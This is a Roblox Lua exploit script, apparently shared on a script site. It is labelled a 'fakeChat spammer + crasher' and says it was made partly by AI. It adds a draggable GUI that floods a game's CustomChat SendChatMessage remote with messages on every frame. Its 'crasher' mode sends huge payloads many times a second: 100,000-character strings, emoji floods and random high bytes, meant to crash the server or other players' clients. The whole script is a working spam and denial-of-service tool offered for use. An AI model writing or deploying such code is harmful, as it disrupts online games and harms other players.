
Keyless

-- you can paste this script e.t.c
-- fakeChat spammer + crasher (forever v1)
-- made by ai and sillyPP with love :))
local players = game:GetService("Players")
local player = players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local function disableBubbleChat(character)
if character then
local humanoid = character:WaitForChild("Humanoid", 5)
if humanoid then
pcall(function()
humanoid:SetBubbleChatEnabled(false)
end)
end
end
end
-- thing down and up here is useless bc fakechat using own fake bubblechat system :(
-- and i thought it will be LESS lags when you use crasher
if player.Character then
disableBubbleChat(player.Character)
end
player.CharacterAdded:Connect(disableBubbleChat)
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "somethin test v1"
screenGui.ResetOnSpawn = false
local mainFrame = Instance.new("Frame")
mainFrame.Name = "main"
mainFrame.Size = UDim2.new(0, 320, 0, 280)
mainFrame.Position = UDim2.new(0.5, -160, 0.5, -140)
mainFrame.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Draggable = true
local title = Instance.new("TextLabel")
title.Name = "title"
title.Size = UDim2.new(1, 0, 0, 30)
title.Position = UDim2.new(0, 0, 0, 0)
title.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
title.TextColor3 = Color3.fromRGB(220, 220, 220)
title.Text = "somethin test v1"
title.Font = Enum.Font.Gotham
title.TextSize = 14
local inputBox = Instance.new("TextBox")
inputBox.Name = "input"
inputBox.Size = UDim2.new(0.9, 0, 0, 40)
inputBox.Position = UDim2.new(0.05, 0, 0.15, 0)
inputBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
inputBox.TextColor3 = Color3.fromRGB(240, 240, 240)
inputBox.PlaceholderText = "message"
inputBox.Font = Enum.Font.Gotham
inputBox.TextSize = 14
inputBox.Text = ""
local toggleButton = Instance.new("TextButton")
toggleButton.Name = "toggle"
toggleButton.Size = UDim2.new(0.6, 0, 0, 30)
toggleButton.Position = UDim2.new(0.2, 0, 0.35, 0)
toggleButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
toggleButton.TextColor3 = Color3.fromRGB(240, 240, 240)
toggleButton.Font = Enum.Font.Gotham
toggleButton.TextSize = 14
toggleButton.Text = "let's go"
local singleButton = Instance.new("TextButton")
singleButton.Name = "single"
singleButton.Size = UDim2.new(0.6, 0, 0, 30)
singleButton.Position = UDim2.new(0.2, 0, 0.5, 0)
singleButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
singleButton.TextColor3 = Color3.fromRGB(240, 240, 240)
singleButton.Font = Enum.Font.Gotham
singleButton.TextSize = 14
singleButton.Text = "send text"
local crashButton = Instance.new("TextButton")
crashButton.Name = "crash"
crashButton.Size = UDim2.new(0.6, 0, 0, 30)
crashButton.Position = UDim2.new(0.2, 0, 0.65, 0)
crashButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
crashButton.TextColor3 = Color3.fromRGB(240, 240, 240)
crashButton.Font = Enum.Font.Gotham
crashButton.TextSize = 14
crashButton.Text = "crasher"
local counterLabel = Instance.new("TextLabel")
counterLabel.Name = "counter"
counterLabel.Size = UDim2.new(0.8, 0, 0, 25)
counterLabel.Position = UDim2.new(0.1, 0, 0.8, 0)
counterLabel.BackgroundTransparency = 1
counterLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
counterLabel.Font = Enum.Font.Gotham
counterLabel.TextSize = 14
counterLabel.Text = "sent: 0"
local resetButton = Instance.new("TextButton")
resetButton.Name = "reset"
resetButton.Size = UDim2.new(0.6, 0, 0, 30)
resetButton.Position = UDim2.new(0.2, 0, 0.9, 0)
resetButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
resetButton.TextColor3 = Color3.fromRGB(240, 240, 240)
resetButton.Font = Enum.Font.Gotham
resetButton.TextSize = 14
resetButton.Text = "clear"
title.Parent = mainFrame
inputBox.Parent = mainFrame
toggleButton.Parent = mainFrame
singleButton.Parent = mainFrame
crashButton.Parent = mainFrame
counterLabel.Parent = mainFrame
resetButton.Parent = mainFrame
mainFrame.Parent = screenGui
screenGui.Parent = playerGui
local remote = game:GetService("ReplicatedStorage"):WaitForChild("CustomChat"):WaitForChild("Remotes"):WaitForChild("SendChatMessage")
local messageText = game:GetService("ReplicatedStorage"):WaitForChild("CustomChat"):WaitForChild("Guis"):WaitForChild("MessageText")
local spamming = false
local crashing = false
local connection
local crashConnection
local sentCount = 0
local function sendMessage()
if inputBox.Text ~= "" then
remote:FireServer(inputBox.Text)
messageText.Value = inputBox.Text
sentCount = sentCount + 1
counterLabel.Text = "sent: " .. tostring(sentCount)
end
end
local function generateCrashMessage()
local messages = {
string.rep("█", 10000),
string.rep("🆘", 5000),
string.rep("\n", 2000) .. string.rep("CRASH", 500),
string.rep(string.char(math.random(1, 255)), 10000),
string.rep("", 10000),
string.rep("a", 10000),
string.rep("🚫" .. "⚠️" .. "💥", 2000),
string.rep("😈", 4000),
string.rep("𐀀", 8000),
string.rep("a\r\nb", 3000)
}
local combined = ""
for i = 1, 5 do
combined = combined .. messages[math.random(1, #messages)]
end
return combined
end
local function generateSpecialChars()
local special = ""
for i = 1, 1000 do
special = special .. string.char(math.random(128, 255))
end
return special
end
toggleButton.MouseButton1Click:Connect(function()
spamming = not spamming
if spamming then
toggleButton.BackgroundColor3 = Color3.fromRGB(80, 40, 40)
toggleButton.Text = "stop"
connection = game:GetService("RunService").Heartbeat:Connect(function()
sendMessage()
end)
else
toggleButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
toggleButton.Text = "let's go"
if connection then
connection:Disconnect()
connection = nil
end
end
end)
singleButton.MouseButton1Click:Connect(function()
sendMessage()
end)
crashButton.MouseButton1Click:Connect(function()
crashing = not crashing
if crashing then
crashButton.BackgroundColor3 = Color3.fromRGB(80, 40, 40)
crashButton.Text = "stop crasher"
crashConnection = game:GetService("RunService").Heartbeat:Connect(function()
for i = 1, 10 do
local crashMessage = generateCrashMessage()
remote:FireServer(crashMessage)
messageText.Value = crashMessage
sentCount = sentCount + 1
counterLabel.Text = "sent: " .. tostring(sentCount)
local specialMessage = generateSpecialChars()
remote:FireServer(specialMessage)
messageText.Value = specialMessage
sentCount = sentCount + 1
counterLabel.Text = "sent: " .. tostring(sentCount)
local maxLengthMessage = string.rep("X", 100000)
remote:FireServer(maxLengthMessage)
messageText.Value = maxLengthMessage
sentCount = sentCount + 1
counterLabel.Text = "sent: " .. tostring(sentCount)
end
end)
else
crashButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
crashButton.Text = "crasher"
if crashConnection then
crashConnection:Disconnect()
crashConnection = nil
end
end
end)
resetButton.MouseButton1Click:Connect(function()
sentCount = 0
counterLabel.Text = "sent: 0"
end)
local closeButton = Instance.new("TextButton")
closeButton.Name = "close"
closeButton.Size = UDim2.new(0, 20, 0, 20)
closeButton.Position = UDim2.new(1, -25, 0, 5)
closeButton.BackgroundColor3 = Color3.fromRGB(200, 50, 50)
closeButton.TextColor3 = Color3.fromRGB(240, 240, 240)
closeButton.Font = Enum.Font.Gotham
closeButton.TextSize = 12
closeButton.Text = "X"
closeButton.Parent = mainFrame
closeButton.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)No comments yet for this script.